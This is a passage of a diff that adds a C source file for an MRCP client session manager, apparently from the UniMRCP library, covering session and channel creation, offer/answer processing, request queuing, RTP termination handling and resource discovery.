+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_client_session.h"
+#include "mrcp_resource.h"
+#include "mrcp_resource_factory.h"
+#include "mrcp_sig_agent.h"
+#include "mrcp_client_connection.h"
+#include "mrcp_session.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_control_descriptor.h"
+#include "mrcp_message.h"
+#include "mpf_termination.h"
+#include "mpf_stream.h"
+#include "mpf_engine.h"
+#include "mpf_user.h"
+#include "apt_consumer_task.h"
+#include "apt_obj_list.h"
+#include "apt_log.h"
+
+
+void mrcp_client_session_add(mrcp_client_t *client, mrcp_client_session_t *session);
+void mrcp_client_session_remove(mrcp_client_t *client, mrcp_client_session_t *session);
+
+static apt_bool_t mrcp_client_session_offer_send(mrcp_client_session_t *session);
+
+static apt_bool_t mrcp_app_session_terminate_raise(mrcp_client_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t mrcp_app_sig_response_raise(mrcp_client_session_t *session, mrcp_sig_status_code_e status, apt_bool_t process_pending_requests);
+static apt_bool_t mrcp_app_sig_event_raise(mrcp_client_session_t *session, mrcp_channel_t *channel);
+static apt_bool_t mrcp_app_control_message_raise(mrcp_client_session_t *session, mrcp_channel_t *channel, mrcp_message_t *mrcp_message);
+static apt_bool_t mrcp_app_request_dispatch(mrcp_client_session_t *session, const mrcp_app_message_t *app_message);
+
+static apt_bool_t mrcp_client_resource_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_client_control_media_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_client_av_media_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor);
+
+static mrcp_channel_t* mrcp_client_channel_find_by_name(mrcp_client_session_t *session, const apt_str_t *resource_name);
+
+static apt_bool_t mrcp_client_mpf_request_send(
+						mpf_engine_t *engine, 
+						mpf_command_type_e command_id, 
+						mpf_context_t *context, 
+						mpf_termination_t *termination, 
+						void *descriptor);
+
+mrcp_client_session_t* mrcp_client_session_create(mrcp_application_t *application, void *obj)
+{
+	apr_pool_t *pool;
+	mrcp_client_session_t *session = (mrcp_client_session_t*) mrcp_session_create(sizeof(mrcp_client_session_t)-sizeof(mrcp_session_t));
+	pool = session->base.pool;
+	session->application = application;
+	session->codec_manager = NULL;
+	session->app_obj = obj;
+	session->profile = NULL;
+	session->context = NULL;
+	session->terminations = apr_array_make(pool,2,sizeof(rtp_termination_slot_t));
+	session->channels = apr_array_make(pool,2,sizeof(mrcp_channel_t*));
+	session->registered = FALSE;
+	session->offer = NULL;
+	session->answer = NULL;
+	session->active_request = NULL;
+	session->request_queue = apt_list_create(pool);
+	session->offer_flag_count = 0;
+	session->answer_flag_count = 0;
+	session->terminate_flag_count = 0;
+	return session;
+}
+
+mrcp_channel_t* mrcp_client_channel_create(
+					mrcp_session_t *session, 
+					mrcp_resource_id resource_id, 
+					mpf_termination_t *termination, 
+					mpf_rtp_termination_descriptor_t *rtp_descriptor, 
+					void *obj)
+{
+	mrcp_channel_t *channel = apr_palloc(session->pool,sizeof(mrcp_channel_t));
+	channel->pool = session->pool;
+	channel->obj = obj;
+	channel->session = session;
+	channel->resource_id = resource_id;
+	channel->resource_name = NULL;
+	channel->control_channel = NULL;
+	channel->termination = termination;
+	channel->rtp_termination_slot = NULL;
+	channel->resource = NULL;
+	channel->waiting_for_channel = FALSE;
+	channel->waiting_for_termination = FALSE;
+
+	if(rtp_descriptor) {
+		channel->rtp_termination_slot = apr_palloc(session->pool,sizeof(rtp_termination_slot_t));
+		channel->rtp_termination_slot->descriptor = rtp_descriptor;
+		channel->rtp_termination_slot->termination = NULL;
+		channel->rtp_termination_slot->waiting = FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create Channel "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(session));
+	return channel;
+}
+
+apt_bool_t mrcp_client_session_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_sig_status_code_e status_code = MRCP_SIG_STATUS_CODE_SUCCESS;
+	if(!session->offer) {
+		return FALSE;
+	}
+	if(!descriptor) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive Answer "APT_PTRSID_FMT" [null descriptor]",	MRCP_SESSION_PTRSID(&session->base));
+		status_code = MRCP_SIG_STATUS_CODE_FAILURE;
+		/* raise app response */
+		return mrcp_app_sig_response_raise(session,status_code,TRUE);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive Answer "APT_PTRSID_FMT" [c:%d a:%d v:%d]",
+		MRCP_SESSION_PTRSID(&session->base),
+		descriptor->control_media_arr->nelts,
+		descriptor->audio_media_arr->nelts,
+		descriptor->video_media_arr->nelts);
+
+	if(session->base.signaling_agent->mrcp_version == MRCP_VERSION_1) {
+		if(mrcp_client_resource_answer_process(session,descriptor) != TRUE) {
+			status_code = MRCP_SIG_STATUS_CODE_FAILURE;
+		}
+	}
+	else {
+		mrcp_client_control_media_answer_process(session,descriptor);
+		mrcp_client_av_media_answer_process(session,descriptor);
+	}
+
+	/* store received answer */
+	session->answer = descriptor;
+
+	if(!session->answer_flag_count) {
+		/* raise app response */
+		mrcp_app_sig_response_raise(session,status_code,TRUE);
+	}
+
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_session_terminate_response_process(mrcp_client_session_t *session)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive Terminate Response "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+
+	if(session->terminate_flag_count) {
+		session->terminate_flag_count--;
+	}
+
+	if(!session->terminate_flag_count) {
+		mrcp_app_session_terminate_raise(session,MRCP_SIG_STATUS_CODE_SUCCESS);
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_session_terminate_event_process(mrcp_client_session_t *session)
+{
+	if(session->active_request) {
+		/* raise app response */
+		mrcp_app_sig_response_raise(session,MRCP_SIG_STATUS_CODE_TERMINATE,FALSE);
+
+		/* cancel remaing requests (if any) */
+		do {
+			session->active_request = apt_list_pop_front(session->request_queue);
+			if(session->active_request) {
+				mrcp_app_sig_response_raise(session,MRCP_SIG_STATUS_CODE_CANCEL,FALSE);
+			}
+		}
+		while(session->active_request);
+	}
+	else {
+		/* raise app event */
+		mrcp_app_sig_event_raise(session,NULL);
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_session_control_response_process(mrcp_client_session_t *session, mrcp_message_t *message)
+{
+	mrcp_channel_t *channel = mrcp_client_channel_find_by_name(session,&message->channel_id.resource_name);
+	if(!channel) {
+		return FALSE;
+	}
+	return mrcp_app_control_message_raise(session,channel,message);
+}
+
+apt_bool_t mrcp_client_session_discover_response_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive Resource Discovery Response "APT_PTR_FMT, MRCP_SESSION_PTR(&session->base));
+	if(!session->active_request) {
+		return FALSE;
+	}
+
+	if(!descriptor) {
+		/* raise app response */
+		return mrcp_app_sig_response_raise(session,MRCP_SIG_STATUS_CODE_FAILURE,TRUE);
+	}
+
+	if(session->base.signaling_agent->mrcp_version == MRCP_VERSION_1) {
+		if(descriptor->resource_state == TRUE) {
+			mrcp_control_descriptor_t *control_media;
+			if(!session->answer) {
+				session->answer = descriptor;
+			}
+			control_media = apr_palloc(session->base.pool,sizeof(mrcp_control_descriptor_t));
+			mrcp_control_descriptor_init(control_media);
+			control_media->id = mrcp_session_control_media_add(session->answer,control_media);
+			control_media->resource_name = descriptor->resource_name;
+		}
+	}
+
+	if(session->answer_flag_count) {
+		session->answer_flag_count--;
+	}
+
+	if(!session->answer_flag_count) {
+		mrcp_app_message_t *response;
+		response = mrcp_client_app_response_create(session->active_request,MRCP_SIG_STATUS_CODE_SUCCESS,session->base.pool);
+		response->descriptor = session->answer;
+		session->answer = NULL;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Raise App Resource Discovery Response "APT_PTR_FMT, MRCP_SESSION_PTR(&session->base));
+		session->application->handler(response);
+
+		session->active_request = apt_list_pop_front(session->request_queue);
+		if(session->active_request) {
+			mrcp_app_request_dispatch(session,session->active_request);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_on_channel_add(mrcp_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status)
+{
+	mrcp_client_session_t *session = (mrcp_client_session_t*)channel->session;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Control Channel Add "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	if(!channel->waiting_for_channel) {
+		return FALSE;
+	}
+	channel->waiting_for_channel = FALSE;
+	if(session->offer_flag_count) {
+		session->offer_flag_count--;
+		if(!session->offer_flag_count) {
+			/* send offer to server */
+			mrcp_client_session_offer_send(session);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_on_channel_modify(mrcp_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status)
+{
+	mrcp_client_session_t *session = (mrcp_client_session_t*)channel->session;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Control Channel Modify "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	if(!channel->waiting_for_channel) {
+		return FALSE;
+	}
+	channel->waiting_for_channel = FALSE;
+	if(session->answer_flag_count) {
+		session->answer_flag_count--;
+		if(!session->answer_flag_count) {
+			/* raise app response */
+			mrcp_app_sig_response_raise(
+				session,
+				status == TRUE ? MRCP_SIG_STATUS_CODE_SUCCESS : MRCP_SIG_STATUS_CODE_FAILURE,
+				TRUE);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_on_channel_remove(mrcp_channel_t *channel, apt_bool_t status)
+{
+	mrcp_client_session_t *session = (mrcp_client_session_t*)channel->session;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Control Channel Remove "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	if(!channel->waiting_for_channel) {
+		return FALSE;
+	}
+	channel->waiting_for_channel = FALSE;
+	if(session->terminate_flag_count) {
+		session->terminate_flag_count--;
+		if(!session->terminate_flag_count) {
+			mrcp_app_session_terminate_raise(
+				session,
+				status == TRUE ? MRCP_SIG_STATUS_CODE_SUCCESS : MRCP_SIG_STATUS_CODE_FAILURE);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_client_on_message_receive(mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	mrcp_client_session_t *session = (mrcp_client_session_t*)channel->session;
+	return mrcp_app_control_message_raise(session,channel,message);
+}
+
+mrcp_app_message_t* mrcp_client_app_signaling_request_create(mrcp_sig_command_e command_id, apr_pool_t *pool)
+{
+	mrcp_app_message_t *app_message = apr_palloc(pool,sizeof(mrcp_app_message_t));
+	app_message->message_type = MRCP_APP_MESSAGE_TYPE_SIGNALING;
+	app_message->sig_message.message_type = MRCP_SIG_MESSAGE_TYPE_REQUEST;
+	app_message->sig_message.command_id = command_id;
+	return app_message;
+}
+
+mrcp_app_message_t* mrcp_client_app_signaling_event_create(mrcp_sig_event_e event_id, apr_pool_t *pool)
+{
+	mrcp_app_message_t *app_message = apr_palloc(pool,sizeof(mrcp_app_message_t));
+	app_message->message_type = MRCP_APP_MESSAGE_TYPE_SIGNALING;
+	app_message->sig_message.message_type = MRCP_SIG_MESSAGE_TYPE_EVENT;
+	app_message->sig_message.event_id = event_id;
+	return app_message;
+}
+
+mrcp_app_message_t* mrcp_client_app_control_message_create(apr_pool_t *pool)
+{
+	mrcp_app_message_t *app_message = apr_palloc(pool,sizeof(mrcp_app_message_t));
+	app_message->message_type = MRCP_APP_MESSAGE_TYPE_CONTROL;
+	return app_message;
+}
+
+mrcp_app_message_t* mrcp_client_app_response_create(const mrcp_app_message_t *app_request, mrcp_sig_status_code_e status, apr_pool_t *pool)
+{
+	mrcp_app_message_t *app_response = apr_palloc(pool,sizeof(mrcp_app_message_t));
+	*app_response = *app_request;
+	app_response->sig_message.message_type = MRCP_SIG_MESSAGE_TYPE_RESPONSE;
+	app_response->sig_message.status = status;
+	return app_response;
+}
+
+apt_bool_t mrcp_client_app_message_process(mrcp_app_message_t *app_message)
+{
+	mrcp_client_session_t *session = (mrcp_client_session_t*)app_message->session;
+	if(app_message->message_type == MRCP_APP_MESSAGE_TYPE_SIGNALING) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive App Request "APT_PTRSID_FMT" [%d]",
+			MRCP_SESSION_PTRSID(&session->base),
+			app_message->sig_message.command_id);
+	}
+	else {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive App MRCP Request "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	}
+
+	if(session->active_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Push Request to Queue "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+		apt_list_push_back(session->request_queue,app_message,session->base.pool);
+		return TRUE;
+	}
+
+	session->active_request = app_message;
+	mrcp_app_request_dispatch(session,app_message);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_session_offer_send(mrcp_client_session_t *session)
+{
+	mrcp_session_descriptor_t *descriptor = session->offer;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send Offer "APT_PTRSID_FMT" [c:%d a:%d v:%d]",
+		MRCP_SESSION_PTRSID(&session->base),
+		descriptor->control_media_arr->nelts,
+		descriptor->audio_media_arr->nelts,
+		descriptor->video_media_arr->nelts);
+	return mrcp_session_offer(&session->base,descriptor);
+}
+
+static apt_bool_t mrcp_app_session_terminate_raise(mrcp_client_session_t *session, mrcp_sig_status_code_e status)
+{
+	int i;
+	mrcp_channel_t *channel;
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel) continue;
+
+		if(channel->control_channel) {
+			mrcp_client_control_channel_destroy(channel->control_channel);
+			channel->control_channel = NULL;
+		}
+	}
+
+	mrcp_client_session_remove(session->application->client,session);
+	/* raise app response */
+	return mrcp_app_sig_response_raise(session,status,FALSE);
+}
+
+static apt_bool_t mrcp_app_sig_response_raise(mrcp_client_session_t *session, mrcp_sig_status_code_e status, apt_bool_t process_pending_requests)
+{
+	mrcp_app_message_t *response;
+	const mrcp_app_message_t *request = session->active_request;
+	if(!request) {
+		return FALSE;
+	}
+	session->active_request = NULL;
+	response = mrcp_client_app_response_create(request,status,session->base.pool);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Raise App Response "APT_PTRSID_FMT" [%d] %s [%d]", 
+		MRCP_SESSION_PTRSID(&session->base),
+		response->sig_message.command_id,
+		status == MRCP_SIG_STATUS_CODE_SUCCESS ? "SUCCESS" : "FAILURE",
+		status);
+	session->application->handler(response);
+
+	if(process_pending_requests) {
+		session->active_request = apt_list_pop_front(session->request_queue);
+		if(session->active_request) {
+			mrcp_app_request_dispatch(session,session->active_request);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_app_sig_event_raise(mrcp_client_session_t *session, mrcp_channel_t *channel)
+{
+	mrcp_app_message_t *app_event;
+	if(!session) {
+		return FALSE;
+	}
+	app_event = mrcp_client_app_signaling_event_create(MRCP_SIG_EVENT_TERMINATE,session->base.pool);
+	app_event->application = session->application;
+	app_event->session = &session->base;
+	app_event->channel = channel;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Raise App Event "APT_PTRSID_FMT" [%d]", 
+		MRCP_SESSION_PTRSID(&session->base),
+		app_event->sig_message.event_id);
+	return session->application->handler(app_event);
+}
+
+static apt_bool_t mrcp_app_control_message_raise(mrcp_client_session_t *session, mrcp_channel_t *channel, mrcp_message_t *mrcp_message)
+{
+	if(mrcp_message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		mrcp_app_message_t *response;
+		mrcp_message_t *mrcp_request;
+		if(!session->active_request || !session->active_request->control_message) {
+			return FALSE;
+		}
+		response = mrcp_client_app_response_create(session->active_request,0,session->base.pool);
+		mrcp_request = session->active_request->control_message;
+		mrcp_message->start_line.method_id = mrcp_request->start_line.method_id;
+		mrcp_message->start_line.method_name = mrcp_request->start_line.method_name;
+		response->control_message = mrcp_message;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Raise App MRCP Response "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+		session->application->handler(response);
+
+		session->active_request = apt_list_pop_front(session->request_queue);
+		if(session->active_request) {
+			mrcp_app_request_dispatch(session,session->active_request);
+		}
+	}
+	else if(mrcp_message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		mrcp_app_message_t *app_message;
+		app_message = mrcp_client_app_control_message_create(session->base.pool);
+		app_message->control_message = mrcp_message;
+		app_message->application = session->application;
+		app_message->session = &session->base;
+		app_message->channel = channel;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Raise App MRCP Event "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+		session->application->handler(app_message);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_channel_find(mrcp_client_session_t *session, mrcp_channel_t *channel, int *index)
+{
+	int i;
+	for(i=0; i<session->channels->nelts; i++) {
+		mrcp_channel_t *existing_channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(existing_channel == channel) {
+			if(index) {
+				*index = i;
+			}
+			return TRUE;
+		}
+	}
+	return FALSE;
+}
+
+static rtp_termination_slot_t* mrcp_client_rtp_termination_find(mrcp_client_session_t *session, mpf_termination_t *termination)
+{
+	int i;
+	rtp_termination_slot_t *slot;
+	for(i=0; i<session->terminations->nelts; i++) {
+		slot = &((rtp_termination_slot_t*)session->terminations->elts)[i];
+		if(slot && slot->termination == termination) {
+			return slot;
+		}
+	}
+	return NULL;
+}
+
+static int mrcp_client_audio_media_find_by_mid(const mrcp_session_descriptor_t *descriptor, apr_size_t mid)
+{
+	int i;
+	mpf_rtp_media_descriptor_t *media;
+	for(i=0; i<descriptor->audio_media_arr->nelts; i++) {
+		media = ((mpf_rtp_media_descriptor_t**)descriptor->audio_media_arr->elts)[i];
+		if(media->mid == mid) {
+			return i;
+		}
+	}
+	return -1;
+}
+
+static mrcp_channel_t* mrcp_client_channel_termination_find(mrcp_client_session_t *session, mpf_termination_t *termination)
+{
+	int i;
+	mrcp_channel_t *channel;
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel) continue;
+
+		if(channel->termination == termination) {
+			return channel;
+		}
+	}
+	return NULL;
+}
+
+static mrcp_channel_t* mrcp_client_channel_find_by_name(mrcp_client_session_t *session, const apt_str_t *resource_name)
+{
+	int i;
+	mrcp_channel_t *channel;
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel) continue;
+
+		if(apt_string_compare(channel->resource_name,resource_name) == TRUE) {
+			return channel;
+		}
+	}
+	return NULL;
+}
+
+static apt_bool_t mrcp_client_message_send(mrcp_client_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	if(!session->base.id.length) {
+		mrcp_message_t *response = mrcp_response_create(message,message->pool);
+		response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Raise App Failure MRCP Response "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+		mrcp_app_control_message_raise(session,channel,response);
+		return TRUE;
+	}
+
+	message->channel_id.session_id = session->base.id;
+	message->start_line.request_id = ++session->base.last_request_id;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send MRCP Request "APT_PTRSIDRES_FMT" [%d]",
+					MRCP_SESSION_PTRSID(&session->base),
+					channel->resource_name->buf,
+					message->start_line.request_id);
+
+	if(channel->control_channel) {
+		/* MRCPv2 */
+		mrcp_client_control_message_send(channel->control_channel,message);
+	}
+	else {
+		/* MRCPv1 */
+		mrcp_session_control_request(channel->session,message);
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_channel_modify(mrcp_client_session_t *session, mrcp_channel_t *channel, apt_bool_t enable)
+{
+	int index;
+	if(!session->offer) {
+		return FALSE;
+	}
+	if(!channel->resource_name) {
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Modify Control Channel "APT_PTRSIDRES_FMT" [%d]",
+					MRCP_SESSION_PTRSID(&session->base),
+					channel->resource_name->buf,
+					enable);
+	if(mrcp_client_channel_find(session,channel,&index) == TRUE) {
+		mrcp_control_descriptor_t *control_media = mrcp_session_control_media_get(session->offer,(apr_size_t)index);
+		if(control_media) {
+			control_media->port = (enable == TRUE) ? 9 : 0;
+			if(channel->termination && channel->termination->audio_stream) {
+				int i = mrcp_client_audio_media_find_by_mid(session->offer,control_media->cmid);
+				if(i >= 0) {
+					mpf_stream_mode_e mode = mpf_stream_mode_negotiate(channel->termination->audio_stream->mode);
+					mpf_rtp_media_descriptor_t *audio_media = mrcp_session_audio_media_get(session->offer,(apr_size_t)i);
+					if(audio_media) {
+						if(enable == TRUE) {
+							audio_media->mode |= mode;
+						}
+						else {
+							audio_media->mode &= ~mode;
+						}
+						audio_media->base.state = (audio_media->mode != STREAM_MODE_NONE) ? MPF_MEDIA_ENABLED : MPF_MEDIA_DISABLED;
+					}
+				}
+			}
+		}
+	}
+
+	session->offer->resource_name = *channel->resource_name;
+	session->offer->resource_state = enable;
+	return mrcp_client_session_offer_send(session);
+}
+
+static apt_bool_t mrcp_client_channel_add(mrcp_client_session_t *session, mrcp_channel_t *channel)
+{
+	mrcp_channel_t **channel_slot;
+	mrcp_control_descriptor_t *control_media;
+	mpf_rtp_termination_descriptor_t *rtp_descriptor = NULL;
+	rtp_termination_slot_t *termination_slot;
+	apr_pool_t *pool = session->base.pool;
+	mrcp_profile_t *profile = session->profile;
+	if(mrcp_client_channel_find(session,channel,NULL) == TRUE) {
+		/* update */
+		return mrcp_client_channel_modify(session,channel,TRUE);
+	}
+
+	if(!session->offer) {
+		session->offer = mrcp_session_descriptor_create(pool);
+		session->context = mpf_context_create(session,5,pool);
+	}
+	if(!channel->resource) {
+		channel->resource = mrcp_resource_get(profile->resource_factory,channel->resource_id);
+		if(!channel->resource) {
+			return FALSE;
+		}
+		channel->resource_name = mrcp_resource_name_get(profile->resource_factory,channel->resource_id);
+		if(!channel->resource_name) {
+			return FALSE;
+		}
+	}
+	if(session->base.signaling_agent->mrcp_version == MRCP_VERSION_1) {
+		session->offer->resource_name = *channel->resource_name;
+		session->offer->resource_state = TRUE;
+	}
+	else {
+		if(!channel->control_channel) {
+			channel->control_channel = mrcp_client_control_channel_create(profile->connection_agent,channel,pool);
+		}
+		control_media = mrcp_control_offer_create(pool);
+		control_media->id = mrcp_session_control_media_add(session->offer,control_media);
+		control_media->cmid = session->offer->control_media_arr->nelts;
+		control_media->resource_name = *channel->resource_name;
+		if(mrcp_client_control_channel_add(channel->control_channel,control_media) == TRUE) {
+			channel->waiting_for_channel = TRUE;
+			session->offer_flag_count++;
+		}
+	}
+
+	/* add to channel array */
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Add Control Channel "APT_PTRSIDRES_FMT,
+					MRCP_SESSION_PTRSID(&session->base),
+					channel->resource_name->buf);
+	channel_slot = apr_array_push(session->channels);
+	*channel_slot = channel;
+
+	if(channel->termination) {
+		if(mrcp_client_mpf_request_send(profile->media_engine,MPF_COMMAND_ADD,session->context,channel->termination,NULL) == TRUE) {
+			channel->waiting_for_termination = TRUE;
+			session->offer_flag_count++;
+		}
+	}
+
+	if(channel->rtp_termination_slot) {
+		rtp_descriptor = channel->rtp_termination_slot->descriptor;
+	}	
+	/* add to rtp termination array */
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Add RTP Termination "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	termination_slot = apr_array_push(session->terminations);
+	termination_slot->waiting = FALSE;
+	termination_slot->termination = NULL;
+	termination_slot->descriptor = NULL;
+	if(rtp_descriptor) {
+		if(rtp_descriptor->audio.local) {
+			session->offer->ip = rtp_descriptor->audio.local->base.ip;
+			session->offer->ext_ip = rtp_descriptor->audio.local->base.ext_ip;
+			rtp_descriptor->audio.local->base.id = mrcp_session_audio_media_add(session->offer,rtp_descriptor->audio.local);
+			rtp_descriptor->audio.local->mid = session->offer->audio_media_arr->nelts;
+		}
+	}
+	else {
+		/* create rtp termination */
+		mpf_termination_t *termination = mpf_termination_create(profile->rtp_termination_factory,session,session->base.pool);
+		termination_slot->termination = termination;
+
+		/* initialize rtp descriptor */
+		rtp_descriptor = apr_palloc(pool,sizeof(mpf_rtp_termination_descriptor_t));
+		mpf_rtp_termination_descriptor_init(rtp_descriptor);
+		if(channel->termination && channel->termination->audio_stream) {
+			mpf_rtp_media_descriptor_t *media;
+			media = apr_palloc(pool,sizeof(mpf_rtp_media_descriptor_t));
+			mpf_rtp_media_descriptor_init(media);
+			media->base.state = MPF_MEDIA_ENABLED;
+			media->mode = mpf_stream_mode_negotiate(channel->termination->audio_stream->mode);
+			rtp_descriptor->audio.local = media;
+		}
+		/* send add termination request (add to media context) */
+		if(mrcp_client_mpf_request_send(profile->media_engine,MPF_COMMAND_ADD,session->context,termination,rtp_descriptor) == TRUE) {
+			termination_slot->waiting = TRUE;
+			session->offer_flag_count++;
+		}
+	}
+	termination_slot->descriptor = rtp_descriptor;
+	channel->rtp_termination_slot = termination_slot;
+
+	if(!session->offer_flag_count) {
+		/* send offer to server */
+		mrcp_client_session_offer_send(session);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_session_update(mrcp_client_session_t *session)
+{
+	if(!session->offer) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Update Session "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	return mrcp_client_session_offer_send(session);
+}
+
+static apt_bool_t mrcp_client_session_terminate(mrcp_client_session_t *session)
+{
+	mrcp_profile_t *profile;
+	mrcp_channel_t *channel;
+	rtp_termination_slot_t *slot;
+	int i;
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Terminate Session "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+	profile = session->profile;
+	/* remove existing control channels */
+	for(i=0; i<session->channels->nelts; i++) {
+		/* get existing channel */
+		channel = *((mrcp_channel_t**)session->channels->elts + i);
+		if(!channel) continue;
+
+		if(channel->control_channel) {
+			/* remove channel */
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Remove Control Channel "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+			if(mrcp_client_control_channel_remove(channel->control_channel) == TRUE) {
+				channel->waiting_for_channel = TRUE;
+				session->terminate_flag_count++;
+			}
+		}
+
+		if(channel->termination) {		
+			/* send subtract termination request */
+			if(channel->termination) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Subtract Channel Termination "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+				if(mrcp_client_mpf_request_send(profile->media_engine,MPF_COMMAND_SUBTRACT,session->context,channel->termination,NULL) == TRUE) {
+					channel->waiting_for_termination = TRUE;
+					session->terminate_flag_count++;
+				}
+			}
+		}
+	}
+
+	/* subtract existing terminations */
+	for(i=0; i<session->terminations->nelts; i++) {
+		/* get existing termination */
+		slot = &((rtp_termination_slot_t*)session->terminations->elts)[i];
+		if(!slot || !slot->termination) continue;
+
+		/* send subtract termination request */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Subtract Termination "APT_PTRSID_FMT, MRCP_SESSION_PTRSID(&session->base));
+		if(mrcp_client_mpf_request_send(profile->media_engine,MPF_COMMAND_SUBTRACT,session->context,slot->termination,NULL) == TRUE) {
+			slot->waiting = TRUE;
+			session->terminate_flag_count++;
+		}
+	}
+
+	session->terminate_flag_count++;
+	mrcp_session_terminate_request(&session->base);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_resource_discover(mrcp_client_session_t *session)
+{
+	mrcp_session_descriptor_t *descriptor = NULL;
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send Resource Discovery Request "APT_PTR_FMT, MRCP_SESSION_PTR(&session->base));
+	session->answer = NULL;
+	if(session->base.signaling_agent->mrcp_version == MRCP_VERSION_1) {
+		const apt_str_t *resource_name;
+		mrcp_resource_id i;
+
+		for(i=0; i<MRCP_RESOURCE_TYPE_COUNT; i++) {
+			resource_name = mrcp_resource_name_get(session->profile->resource_factory,i);
+			if(!resource_name) continue;
+		
+			descriptor = mrcp_session_descriptor_create(session->base.pool);
+			apt_string_copy(&descriptor->resource_name,resource_name,session->base.pool);
+			if(mrcp_session_discover_request(&session->base,descriptor) == TRUE) {
+				session->answer_flag_count++;
+			}
+		}
+	}
+	else {
+		if(mrcp_session_discover_request(&session->base,descriptor) == TRUE) {
+			session->answer_flag_count++;
+		}
+	}
+
+	if(session->answer_flag_count == 0) {
+		mrcp_app_sig_response_raise(session,MRCP_SIG_STATUS_CODE_FAILURE,TRUE);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_on_termination_add(mrcp_client_session_t *session, mpf_message_t *mpf_message)
+{
+	rtp_termination_slot_t *termination_slot;
+	if(!session) {
+		return FALSE;
+	}
